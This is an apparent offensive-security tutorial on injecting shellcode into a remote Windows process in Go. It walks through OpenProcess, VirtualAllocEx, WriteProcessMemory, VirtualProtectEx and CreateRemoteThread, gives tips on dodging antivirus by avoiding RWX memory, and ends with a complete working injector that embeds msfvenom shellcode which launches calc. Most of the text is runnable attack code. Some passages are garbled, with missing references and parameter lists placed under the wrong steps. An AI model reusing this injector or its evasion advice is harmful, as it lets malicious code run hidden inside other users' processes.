This technique is very similar to the technique. The only difference is that the shellcode will be injected in a remote process rather than the current process.
The Windows APIs required to perfrom this technique are the following:
Get a handle on a remote Process
To get a handle on a remote process the OpenProcess winapi will be used.
dwDesiredAccess: This is defined by the rest of the APIs that we will use.
VirtualAllocEX -> PROCESS_VM_OPERATION
WriteProcessMemory -> PROCESS_VM_WRITE and PROCESS_VM_OPERATION
CreateRemoteThread -> PROCESS_CREATE_THREAD, PROCESS_QUERY_INFORMATION, PROCESS_VM_OPERATION, PROCESS_VM_WRITE, and PROCESS_VM_READ
Alternatively we can use PROCESS_ALL_ACCESS for convenience
More information on
bInheritHandle: Will be set to false
dwProcessId: Will be the ID of the process to get a handle on
Luckily the OpenProcess API is part of the windows package
pid := uint32(12240)
PROCESS_ALL_ACCESS := windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xFFFF
fmt.Printf("[+] Getting a handle on process with pid: %d\n", pid)
pHandle, err := windows.OpenProcess(uint32(PROCESS_ALL_ACCESS), false, pid)
if err != nil {
log.Fatalf("[FATAL] Unable to get a handle on process with id: %d : %v ", pid, err)
}
fmt.Printf("[+] Obtained a handle 0x%x on process with ID: %d\n", pHandle, pid)
Allocating memory on remote process
VirtuallAllocEx will be used for allocating memory for our shellcode in the remote memory.
hProcess: Process Handle returned by the OpenProcess API
lpAddress: We will let the API decide where to allocate the memory, therefore this value will be set to 0
dwSize: Will be the size of our shellcode
flAllocationType: We need to reserve and commit memory
flProtect: This can be done in a number of ways. To write and execute shellcode we will need rwx permissions. It is however unusual for legitimate programs to allocate memory with rwx permissions and it is usually flagged my AV engines. Another option is to assign rx or rw and then change permissions as needed for writing and executing with VirtualProtectEx.
hProcess: Process Handle returned by the OpenProcess API
lpBaseAddress: Value returned from VirtualAllocEx
lpBuffer: A pointer to the beginning of our shellcode byte array
nSize: Size of our shellcode
lpNumberOfBytesWritten: Ouputs the number of bytes written to the destination address
var numberOfBytesWritten uintptr
err = windows.WriteProcessMemory(pHandle,
addr,
&sc[0],
uintptr(len(sc)),
&numberOfBytesWritten)
if err != nil {
log.Fatalf("[FATAL] Unable to write shellcode to the the allocated address")
}
fmt.Printf("[+] Wrote %d bytes to destination address\n", numberOfBytesWritten)
Change Memory Permissions
Since the memory permissions were set to PAGE_READWRITE we now need to set them to PAGE_EXECUTE_READ. This can be achieved with VirtualProtectEx.
Only three parameters will be used and the rest will be set to null
hProcess: Process Handle returned by the OpenProcess API
lpStartAddress: The address returned by the VirtualAllocEX API
lpThreadId: Returns the newly created threadID
procCreateRemoteThread := modKernel32.NewProc("CreateRemoteThread")
var threadId uint32 = 0
tHandle, _, lastErr := procCreateRemoteThread.Call(
uintptr(pHandle),
uintptr(0),
uintptr(0),
addr,
uintptr(0),
uintptr(0),
uintptr(unsafe.Pointer(&threadId)),
)
if tHandle == 0 {
log.Fatalf("[FATAL] Unable to Create Remote Thread: %v \n", lastErr)
}
fmt.Printf("[+] Handle of newly created thread: 0x%x \n[+] Thread ID: %d\n", tHandle, threadId)
Execute Code:
Complete Code
package main
import (
"encoding/hex"
"fmt"
"log"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
func main() {
pid := uint32(21336)
PROCESS_ALL_ACCESS := windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xFFFF
//msfvenom -f hex -p windows/x64/exec cmd=calc
sc, _ := hex.DecodeString("fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c6300")
fmt.Printf("[+] Getting a handle on process with pid: %d\n", pid)
pHandle, err := windows.OpenProcess(uint32(PROCESS_ALL_ACCESS), false, pid)
if err != nil {
log.Fatalf("[FATAL] Unable to get a handle on process with id: %d : %v ", pid, err)
}
fmt.Printf("[+] Obtained a handle 0x%x on process with ID: %d\n", pHandle, pid)
modKernel32 := syscall.NewLazyDLL("kernel32.dll")
procVirtualAllocEx := modKernel32.NewProc("VirtualAllocEx")
addr, _, lastErr := procVirtualAllocEx.Call(
uintptr(pHandle),
uintptr(0),
uintptr(len(sc)),
uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
uintptr(windows.PAGE_READWRITE))
if addr == 0 {
log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", lastErr)
}
fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr)
var numberOfBytesWritten uintptr
err = windows.WriteProcessMemory(pHandle, addr, &sc[0], uintptr(len(sc)), &numberOfBytesWritten)
if err != nil {
log.Fatalf("[FATAL] Unable to write shellcode to the the allocated address")
}
fmt.Printf("[+] Wrote %d/%d bytes to destination address\n", numberOfBytesWritten, len(sc))
var oldProtect uint32
err = windows.VirtualProtectEx(pHandle, addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, &oldProtect)
if err != nil {
log.Fatalf("[FATAL] VirtualProtect Failed: %v", err)
}
procCreateRemoteThread := modKernel32.NewProc("CreateRemoteThread")
var threadId uint32 = 0
tHandle, _, lastErr := procCreateRemoteThread.Call(
uintptr(pHandle),
uintptr(0),
uintptr(0),
addr,
uintptr(0),
uintptr(0),
uintptr(unsafe.Pointer(&threadId)),
)
if tHandle == 0 {
log.Fatalf("[FATAL] Unable to Create Remote Thread: %v \n", lastErr)
}
fmt.Printf("[+] Handle of newly created thread: 0x%x \n[+] Thread ID: %d\n", tHandle, threadId)
}
NOTE: that is used later on will temporarily assign WRITE permissions if they are missing from the memory page using VirtualAllocEx. It might be a good idea to manually manage permissions to avoid additional calls to VirtualAllocEx.